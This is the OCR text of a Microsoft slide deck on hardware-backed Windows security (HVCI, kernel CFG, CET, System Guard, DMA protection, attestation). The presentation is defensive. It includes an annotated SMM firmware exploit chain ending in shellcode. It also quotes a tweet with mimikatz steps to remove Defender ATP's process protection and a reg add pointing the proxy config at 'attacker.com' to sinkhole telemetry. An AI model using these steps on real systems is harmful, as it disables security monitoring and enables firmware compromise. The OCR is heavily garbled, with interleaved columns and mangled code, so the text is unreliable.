Hardening with Hardware

How Windows is using hardware to improve

David “dwizzzle” Weston
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https://channel9.msdn.com/Events/TechEd/Europe/2009/SIA301

Law #1: If a bad guy can persuade you to run his program on your computer, it's not solely your computer
anymore.

Law #2: If a bad guy can alter the operating system on your computer, it's not your computer anymore.
Law #3: If a bad guy has unrestricted physical access to your computer, it's not your computer anymore.
Law #4: If you allow a bad guy to run active content in your website, it's not your website any more.
Law #5: Weak passwords trump strong security.

Law #6: A computer is only as secure as the administrator Is trustworthy.

Law #7: Encrypted data is only as secure as its decryption key.

Law #8: An out-of-date antimalware scanner is only marginally better than no scanner at all.

Law #9: Absolute anonymity isn't practically achievable, online or offline.

Law #10: Technology is not a panacea.

Ten Immutable Laws Of Security



https://technet.microsoft.com/en-us/library/hh278941.aspx

Law #3: If a bad guy has
unrestricted physical access

Enter the PIN to unlock this drive

se the number keys or function keys F1-F10 (

to your computer, it's not
your computer anymore.

Insert key 1o see the PIN as you type

Security Researcher / Reverse Engineer (]JB-256) / Israel

Back To All Jobs (/careers)
Apply > (mailto:jobs@cellebrite.com?subject=Position:Security Researcher / Reverse
(B-256))

Department

R&D

Job Description

Cellebrite is looking for a talented Security Researcher and Reverse Engineer. Filling this pos
responsible fer finding methods for data extraction from mobile phones, ranging from cheag
the most modern flagship models. What we do: Reverse engineer ARM and x86 code; Seek
vulnerabilities; Develop Proof of Concept exploit code: Develop proprietary boot-loaders for

Requirements
u C programming language
= x86 reverse engineering as a native tongue
w Exploit research and development

w At least 2 years of reverse engineering experience

Skills and Qualities
= Experience with embedded software - a strong advantage
= ARM reverse engineering
w Linux Kernel / Android internals
» Knowledge of cryptography

I ¥ inte\ligence elite courses (xuu know and we know]l

= Python programming language

We aspire to do more



XBOX One X features glitch Custom SoC provides high
protection for physical performance streaming
hardware attacks crypto support

Hardware supported
Hypervisor supports
isolation of multiple security Hardware supported

domains

Memory
encryption/decryption and

integrity check capability
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Smaller attack surface



Can we use hardware
capabilities to redefine
Windows security
guarantees?
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All code executes ~ User identities ~ Attacker with

~ with integrity. ~cannot be ~casual physical
5 ? - compromised, ~ access cannot
- spoofed, or stolen. - modify data or

~ code on the device.

 Malicious code Violations of ~ All apps and
~ cannot persistona ~ promises are ~ system
~device.  observable. - components have

~ only the privilege
~ they need.



All code executes with
Integrity.




Technologies for mitigating code execution

Code Integrity Guard Arbitrary Code Guarad

Prevent arbitrary

code generation Images must be signed and loaded Prevent dynamic code generation,
from valid places modification, and execution

Control Flow Guard 2707?
Prevent control-

flow hijacking Enforce control flow integrity Enforce control flow integrity on
on indirect function calls function returns

Only valid, signed code pages can be Code pages are immutable and \ Code execution stays “on the rails’
Bm magped by t%e app Pag Lé?j cannot be modified by theapp % < per the control-flow integrity policy



FYPEervisor

-nforced Code Integrity

HVCI leverages virtualization page tables managed by VTL1 to eliminate WAX memory in VTLO

kernel-mode

User
mode

Kernel
mode

Normal Mode (VTLO) Secure Mode (VTL1)
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Kernel Pool

8 Kernel Code
8 Integrity Policy

C Secure D Secure
B Kernel Data Kernel Data 5

Secure Kernel

VTL 0 Second-Level Page Tabl

OxABC...0 | NX Hypervisor

Hardware Resources (CPU, Memory, I/0O)

SLAT is used to gate enforce RX only

HVCI running in SK validates code pages
f valid set GPA bits to
R=1 W=0 KMX=UMX=1

Mode-Based Execute (MBE) Control
Extended-Extended Page Tables (EPT)

« XU for user pages

« XS for supervisor pages
 KMX and UMX hardware bits.

Improves HVCI performance
Available on Skylake +



Kernel Control Flow Integrity

Kernel CFG is used to enforce runtime code flow integrity for kernel drivers

Compile time ‘ Kernel Runtime ‘ |

. mov rex, rdi
/) Sor(nepunc is address-taken |mage  Update valid call target data with call rua SruTransaction2DispatchTable[rdx+rax=8]
// and may be called indirectly metadata from Driver image
Object->FuncPtr = SomeFunc; I_Oad 9
}
Metadata is automatically added to the image which identifies functions that may be _
called indirectly HVC' « HVCl validates and maps pages
) » CFG bitmap is protected by HV
void Bar(...) {

// Com[?iler-inserted cr_leck t(_) MoOUZX eax, di
Jif weElyy @Rl TR 18 vl . mouv rax, ds:rva SruTransaction2DispatchTable[rcx+rax=8]
_guard_check_icall(Object->FuncPtr); | d t - b
Object->FuncPtr(xyz); NAIrecCt |. perform O(1) validity check 2:';1 ng ;u:rd dispatch_icall_ptr
) Ca ” « Terminate process if invalid target o - - -
A lightweight check is inserted prior to indirect calls which will verify that the call target is

valid at runtime

Kernel Control Flow Guard improves protection against control flow hijacking for kernel code
Paired with HVCI to ensure both code integrity and control flow integrity

OSR REDTEAM targeted kCFG bitmap data corruption, now protected by Hypervisor (props to davec!!!)



(& . Dave dwizzzle Weston 5
@dwizzzleMSFT

UPDATE: If you clean install RS4+ and have
compatible hardware VBS/HVCI i1s now
automatically enabled!! This means the
Windows kernel now enforces by default:
Kernel code integrity, runtime ACG, and
control flow integrity via VBS. Huge for
Windows security. Checkout WIP builds!

Dave dwizzzle Weston @dwizzzleMSFT

This is HUGE. Kernel Control Flow Guard, HVCI, Hyper Guard and bunch of other
goodness are now available on non-Enterprise Windows SKUs. Turn it on, now.
twitter.com/j3ffr3y1974/st...

Show this thread

9:37 AM - 21 Dec 2017

206 Retweets 320 Likes (8 g % ﬁ o Q . @ @

O o W2 QO 320

Starting in 1803 all new Windows installs will include HVCI by default (MBEC/Kaby Lake+)

This helps Windows improve resilience to future kernel exploits




VBS has created new attack surfaces

Virtualization Based Security highlights the importance of Firmware (SMM) security

A UEFI3.11.950.0.cap —

@UEHTDDLEIE b 3 SecSMIFlash.bin ——pm g SecSMIFlash.ifd

LoadFwImage proc near ; DATA HREF: segp@l:SecsmiFlashic
push  rbx | SMM UEFI PE module
sub rsp, 28h .
mov edx, 18h ; len Phy5|cal
mowv rox, rox 3 ptr
call IsAddressInsmram ; structure itself is checked Address 0
3 instead of the buffer it describes
test al, al
jz short loc_138F
loc_1383: 5 CODE XREF: LoadFwImage+3E]]
; LoadFwImage+&9)]
mow rax, Sesgssessesae2a7h
jmp short loc_13&9
1) Leak entire SMRAM
loc_138F: ; CODE XREF: LoadFwImage+1517 Y
e byte ptr [rbxs1on], 1 to normal RAM (within
mov rdx, Cs:pFwCapsuleLowvem ACPI NVS) ACPI NVS
mow rax, cs:RomLayout
and cs:secsmiFlash.FsHandle, @ (FWC3DSU|ELOWMEITI)
and cs:5ecSmifFlash.pFwiapsule, @
mow c5:5ec5miFlash.RemLayout, rax
test rdx, rdx
jz short loc_1383
mowv rgd, [rbx+2Ch] ; len
mov  rod, [rbxsg] SMRAM SMRAM
mov eax, edx
add rax, eEglgeeh Integer Overflow (bypass check)
cmp rcK, rax . . .
o short loc_1363 /[nearlv} arbitrary destination
lea ecx, [ro+rdx] ; dst
mov rdz, [rbx] i src +—— fully arbitrary source
call mEmC gy
maov byte ptr [rbxs+leh], & SMM Shellcode
xor edx, eax
loc_1369: 3 CODE XREF: LoadFwImage+2117j
add rsp, 2&h
pop rox
retn

External researchers and OSR REDTEAM highlighted SMM risks for VBS

Arbitrary code execution in SMRAM can be used to defeat Hypervisor

Malicious code running in SMM is difficult to detect

3) Shellcode runs,
copies PE file into
SMRAM, and executes
it.

2) Use leaked info to
compose SMI request
which will copy
shellcode into SMRAM.


https://www.blackhat.com/docs/us-16/materials/us-16-Wojtczuk-Analysis-Of-The-Attack-Surface-Of-Windows-10-Virtualization-Based-Security.pdf
https://www.blackhat.com/docs/us-17/wednesday/us-17-Bulygin-Fractured-Backbone-Breaking-Modern-OS-Defenses-With-Firmware-Attacks.pdf

New Attack Surface, New Mitigations

Windows SMM Security Mitigations Table (1607)

FIXED_COMM_BUFFERS

SMM will validate that input and output
buffers lie entirely within the expected
fixed memory regions.

SO SN VRS Ll SMVIM will validate that input and output
ROTECTION pointers embedded within the fixed
communication buffer only refer to
address ranges that lie entirely within the
expected fixed memory regions.

DNURNNOMNER LGNl [Firmware setting this bit is an indication
N that it will not allow reconfiguration of
system resources via non-architectural
mechanisms.

Windows System Guard with TXT (future)

SMM reference code + hardware support for
establishing SMM page tables and
protecting them

Using measurements for attestation for
modules in SMM that establish isolation and
attest to the isolation properties using PCR's

Building out hardware support for isolating
SMM in a direct container

Windows is investing heavily in current and future SMM based mitigations

Capsule update mechanisms in WU enables OEMs to service firmware security issues

Intel firmware bounty covers all tianocore components



http://download.microsoft.com/download/1/8/A/18A21244-EB67-4538-BAA2-1A54E0E490B6/WSMT.docx.
https://edk2-docs.gitbooks.io/a-tour-beyond-bios-memory-protection-in-uefi-bios/memory-protection-in-SMM.html
https://docs.microsoft.com/en-us/windows-hardware/drivers/bringup/windows-uefi-firmware-update-platform
https://security-center.intel.com/BugBountyProgram.aspx

Return address protection with hardware

We have worked with Intel on designing a hardware-assisted solution for return address protection

Initial attempt to implement stack protection in | |
software failed | |

Return EIPn-1 : :
REDTEAM designed software shadow stack (RFG) did Param : :
not survive internal offensive research ' '
Param 2 Return EIPn-1
Control-flow Enforcement Technology (CET) ESP * Return EIPn SSP » Return EIPn
Indirect branch tracking via ENDBRANCH i;t”er | | it”er | |
Return address protection via a shadow stack Stack usage on near CALL

Call pushes return address on both stacks

Hardware-assists for helping to mitigate control-flow

Gy Ret/ret_ imm
hijacking & ROP pops return address from both stack

Execption if the return addresses don't match

Robust against our threat model No parameters passing on shadow stack

+4


https://software.intel.com/sites/default/files/managed/4d/2a/control-flow-enforcement-technology-preview.pdf

Malicious Code Cannot Persist
on a Device.




Secure Boot: Static Root of Trust

Secure Boot implementation

includes OEM UEFI in the root-of - -
trust TCG User Mode Apps HVCI
L VSM B
B file
UEFI code is complex and servicing ] < Other Drivers software

' \ firmware
IS not mature & ELAM Drivers
UEF] C hardware
P=-S/kernel Drivers Secure
Dozens of vulnerabilities | OPROMs < N
: : . POV m__ OS Boot Loader BOOt
discovered in UEFI in recent years Chipset Init__ [IPSEEIAN

Secure boot currently uses static root of trust — OEM firmware included in attack surface



http://www.intelsecurity.com/advanced-threat-research/content/AttackingAndDefendingBIOS-RECon2015.pdf

System Guard: Dynamic root of Trust (TXT)

Boot Flow -------—— e -
OEM Pre-Boot Code Trusted Launch Code Initialize and launch Hypervisor
. OEM Pre-boot code boots and initializes HW. ! | - Completes initialization of hypervisor and secure
; N . § ' MS Trusted Launch Code measures and loads  kernel
. UEFI code transitions to boormgr and Winload. ' the rest of hypervisor (HV) and secure kernel : g .
i | ' (SK) i . Must not use any UEFI services

- Winload used UEFI service to load HV and 5K Jump back to Winload and supervisor mode when

- into memory | Enables IOMMU and SMI done
Invokes SINIT instruction to enter trusted launch Must not use any UEFI services Winload can use UEFI services again to boot rest of
. code | ; ; ' Windows
____________________________________________________________________________________________________________ e e
Continue to measure : | Rest of HV/SK measured
SINIT Measures HV/SK launch code into | | into PCR18..PCR22 as it
, \4

PCR18..PCR22 boots

Trusted launch code
into PCR17 & PCR
18

TPM:
Measurement of
Launch Code/HV/SK is In
Health Attestation Servers can PCR17 .. PCR22 of TPM

N |

confirm CPU is running secure
HV/SK using TPM PCR17 ..
PCR22 values



System Guard with DRTM

Targeting a future version of Windows

Removes broad 3 party UEFI ecosystem from the root of trust

Reduces the chances of attacker persistence in early boot by removing
attack surface

Can be attested to from Device Health Attestation service and
combined with conditional access for a “zero trust” approach



Attacker with casual physical
access cannot modify data or code
on the device.



Windows DMA-r Attack Protection

Security Goal

Prevent “evil cleaner” drive by physical attacks from
malicious DMA attacks

Wait for user
to login/
unlock
screen

Peripheral User logged in
& Drivers opted- AND Screen

Connect peripheral

in DMAr? unlocked?

Goals for 1803 Release

Yes

Use IOMMU to block newly attached Thunderbolt™
3 devices from using DMA until an authorized user
is logged in and the screen is unlocked EL LA

the peripherals

Yes

Automatically enable DMA remapping with _
compatible device drivers (Memory Sandboxes) to (ks

enumerated and <

improve overall user experience functioning

n future releases, we are looking to harden
orotection on all external PCl ports and cross-silicon
platforms




All apps and system
components have only the
privilege they need.




Containment with Virtualization

Privileged Access Workstation

Strengths

Strong kernel isolation for applications running
In the guest

ﬁ\ Deskto

4+—

/ Loc-kzzvi . hos-t _— Can be extended to arbitrary application
W .
scenarios

89 Separate identity and resource infrastructure

Weaknesses

Qubes OS
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Dual Containment Technologies

We are offering several improved isolation technologies as part of our layered strategy

Windows 10 Anniversary Update Windows 10 Creators Update

Improved software isolation Virtualized Isolation
(Microsoft Edge AppContainer Profile) (Application Guard)
- Microsoft Microsoft
: e Edge e Edge
Windows : 90% reduction in IPC Enterprise
i Platform : Broker attack surface!! sites
il Attack :
surface | Wind N Wind
| s pndons Hatfor I Platform e Platform
: - : = Services H - Services
I
Mi ft Microsoft )
e Edléreoso : e Fdge %@% Kernel % Kernel
|
| Windows Host OS Windows Defender Application Guard
|
I

1 )

A
Device Hardware




2 18 36 54
4,00 39.95 83.80 131.29

Lightest weight container.
Application isolated using
file system and registry
virtualization.

Used for centennial as a
bridge

No Security guarantees

Container providing an ¢ Container that uses a

isolated the user session lightweight VM

Shares kernel * Resistant to kernel
Used to achieve higher attacks Runs a separate
density in cloud and kernel from the host.

server deployments.
NO a security boundary

Container that uses a
lightweight VM

Hypervisor boundary.

Used in hostile multi-tenant
hosting.

Commercially known as a
"Hyper-V container”



#8 Krypton Container Technology

83.80
Resource sharing between Physically-backed VMs statically No scheduler in the hypervisor
guest and host mapped
Remove extra scheduling layer

VM accesses a file, data is VA backed VMs have “"hot hint”
transterred into physical pages Indicate set of physical pages Take advantage of the existing
of the guest should be mapped into the NT scheduler features

guest
Pages are backed by private Improved CPU resource
virtual memory on the host. Reduces number of memory tracking/management

intercepts generated by the

guest. Root schedules all VP-backing

threads



IOMMU Based GPU Isolation (1803)

Host
\YARVAN\Y/

Guest —i
A .

SSSSSSS

Successful hardware attack result in
VRAM and the portion of system
memory visible to the GPU to be

compromised...

But ntos, pool, process regular
1 memory, etc... is safe.
Guest ; I]
MTde (through IOMMU) Limit GPU

accessible system memory to only pages

GPU Page Table Uﬂder direCt the GPU should have access to.
Host VidMm Control




Violations of promises are
observable.
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Protected Process are used « Kernel and User mode « Key boot properties ¢ Patch Guard and Hyper Guara

to prevent tampering of key code integrity policy are measured into PCRs effective effectively monitor
security components targeted by memory (DHA) TCB tampering

LSASS, Defender, and corruption issues » No easy way to » Not extensible for consumers
Detender ATP all use PPL « EPROCESS security consume and extend

properties



Chris Thompson

Follow ::) Vv
@retBandit <

ATP runs as "Protected Process Light" and
"Not_Stoppable"”. You can remove process
protection and kill the process per below- telemetry comms instead, like stopping non-
#WDATP PPL'd diagtrack service or blocking via proxy
mimikatz # b+ sinkhole

Chris Thompson < )
: Follow v
@retBandit

Replying to @gentilkiwi @tiraniddo

Definitely, | prefer targeting ATP's cloud
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reqg add

mimikatz # !p "HRCTT\ Software\Microso \ i - Y function FindProxyForURL(url, host) {
KCU\Software\Microsoft\Windo \
= \Soltware\Micr LTA\W T’?ﬂ WS var proxyserver = ‘'127.0.0.1:3128°;
CurrentVersion\Internet Settings" ~ /v /1
AutoDetect /t REG DWORD /d 0 /f ver prouylist = new Arrey(
) — “securitycenter.windows.com",
: The process with PID | "winatp-gw-cus.microsoft.com”,
“winatp-gw-eus.microsoft.com”,
T . : - : : "winatp-gw-neu.microsoft.com”,
:\Windows\system32>sc gprotection sense "us.vortex-win.data.microsoft.com",
", Quer"\,z'Ser“\_r'iceConFigZ SUCCESS "eu.vortex-win.data.microsoft.com”,
sense PROTECTION LEVEL: WINDOWS LIGHT. req add “ﬂwpmm“;m““;fm-_
— — \ ’ \ . 3 sappeu.microsort.com
"HKCU\Software\Microsoft\Windows\ dand
¥
y sense CurrentVersion\Internet Settings" /v for(var i=0; i<proxylist.length; i++) {
AutoConfigURL /t REG Sz /d var value = proxylist(i]; ‘
RVICE NAME N N A T — - if ( localHostOrDomainIs(host, value) ) {
17 JAN . T, ) ) "
AN . "http://attacker.com/wpad.dat" /f return "PROXY "s+proxyserver;
IYPE : 10 WIN32 OWN_PROCESS )
STATE : 1 STOPPED )
e w— P i ok return "DIRECT";
WIN32 EXIT_CODE : 1067 (©x42b) | !

SERVICE_EXIT CODE : @ (©xe)
CHECKPOINT . Ox0
WALIT_HINT : Ox0

9:44 AM - 26 Aug 2017

9:11 AM - 26 Aug 2017



Goal: Tamper evident Windows



System Guard Runtime Attestation

 Attest to report authenticity
Hosted (spoofing, replay)
ATP Cloud  Attestation [

————————————————————————————————————————

|
|
|
|
'

Enclave Cert | OCtagFm Ende.we
PR (Assertion Engine)

- = 4

\

E!
.\
\

System Guard Agent -

e e e



B = B° Windows Defender ATP X -+ =~ — b

¢ > 0 o I o L@ -

Windows Defender Security Center | Machine

- —

_ Q Logged on users ' Machine reporting
Interactive @ [0]
Actions ~ 2 Remotelnteractive @ []
> Other @ [2] Last internal IF: 10.2160.2.48

]Gmain:_microsoft.corr Last external IP; 167.220.1.182

O35 Windows10 64-bit (Build 17081) Mo Interactive or Remotelnteractive Logon Types observed on machine.

First seen: 18 hours ago

&
4
=2
¢ Last seen: 6 minutes ago
©
&

Alerts related to this machine

16 Last activity Severity
A

Dy mE 1w Wi 1 e

01.22.2018 | 17:01:26 I rocess Code Integrity Violation R, ntauthority\system High New Disabled Not assigned
nstallation
o o5 nrivileqe il ..

01.22.2018 | 17:00:14 I_'?EE"_F’”""?J‘Esca'a"m 2 -.EI:’m’l:cret-:' High New Disabled Not assigned
FrvileEge cscalation

01.22.2018 | 15:59:35 I Process mitigation policy tampering 2, nt authority\system High New Disabled Not assigned
Suspicious Activity

Machine timeline
Valua nformation leve Event type User account
v e All v Al v A v

01.22.2018 | 17:00 [H

I ________________________§ g | —l-
Aug 2017 Sep 2017 Cct 2017 Mow 2017 Dec 2017 Jan 2018 Today
@i Export 5 20 events per page ¢ Older Mewer

Date Event Details User

01.22.2018

17:00:14 £ sychost.exe injected to process  explorer.exe 17 services.exe > svchostexe = explorer.exe S system ()
17:00:14 £  sychostexe injected to process  explorer.exe 17 zervices.exe = svchost.exe = explorer.exe A system )
17:00:14 #  WicrosoftEdgeCP.exe injected to process  MicrosoftEdgeCFP.exs 1# svchostexe » MicrosoftEdgeCP.exe = MicrosoftEdgeCP.exe A administrator )
170014 #  MicrosoftEdgeCP.exe injected to process  MicrosoftEdgeCP.exe ¥ svchostexe > MicrosoftEdgeCP.exe > MicrosoftEdgeCP.exe S administrator #



i® wininit.exe > lsass.exe 2 system

15:59:35 3 System Guard detected that the mitigation policy flags of Isass.exe have changed

%}:3 wininit.exe

wininit.exe
Isass.exe
o @ % 7ac4f198f24b76ee56b343d13d81e690dae0fe83
lsass.exe bk CAWindows\System32\|sass.exe
|sass.exe
System Guard detected that the mitigation policy flags of Isass.exe have changed
15:59:35 I £ Process mitigation policy tampering
A process's mitigation policy was tampered.
01.22.2018
17:01:26 3 System Guard detected a failure in the code integrity of MsSense.exe I* services.exe > MsSense.exe A system
£E@€3 services.exe
Services.exe
MsSense.exe
o @ %1 B8e73b66f3560bb3e58651e60badcb9d9al7e724f

MsSense.exe ks CA\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe

"MsSense.exe”

System Guard detected a failure in the code integrity of MsSense.exe




Hardware packed runtime attestation

Secure enclave attestation is included with Windows starting in 1803

Secure attestation technology builds on boot time attestation, and secure enclaves to provide strong
tamper resistance

Used to protected key system services from tampering, starting with Defender ATP and Defender
When combined with replying party validation, can be robust even to admin attacks

Building on Device Health Attestation, future path to provide device health score for true zero trust
networking

Security promise will take several releases to complete

Plans to provide public API for application developers



Wrap-up



Improve transparency: Device Security Features

3 wWindows Defender Seat X | 4 = O X £ wWindows Defender Seci ‘ a4

< <

B2 Device security

& Secu rl‘ty at 2 g |a nce & Security that comes built into your device.
v, - _ _ O

See what's happening with the security and health of your device . .
Q and take any actions needed. Q Oe Core isolation

Virtualization-based security is running to protect the core parts of your
p ) device.
= = Core isolation details
a (( | =
- {3 Security processor

© irus & . Fi & & @ Your security processor, called the trusted platform module (TPM), is

Virus _threat ACCQL!M protection IrEWEII_ network App : browser control providing additional encryption for your device.
dh protection Mo action needed. protection Mo action needed. h

Mo action needed. Mo action needed. Security processor details

(3 Secure boot

Secure boot is on, preventing malicious software from loading when your
device starts up.

Learn more

Device security Device performance & Family options

View status and manage health Manage how your family

hardware security features No action needed. uses their devices. Your device meets the requirements for enhanced hardware security.
Learn more




Windows security promises are increasing

10 S is the best expression of Windows security

~ Your device is being protected.

Aspirational security promises are the guiding principles for security investments




Join Us!

Announcing: Microsoft PWN2OWN 2018 Sponsorship

Microsoft will be sponsoring this years PWN2OWN
with additional targets

Fascinated by what you saw? Want to help us make the online world safer?

s Or come work with us. We're hiring ©
Report vulnerabilities &

mitigation bypasses via our
bounty programs! https://aka.ms/cesecurityopenjobs

https://aka.ms/bugbounty https://aka.ms/wdgsecurityjobs



https://aka.ms/bugbounty
https://aka.ms/cesecurityopenjobs
https://aka.ms/wdgsecurityjobs

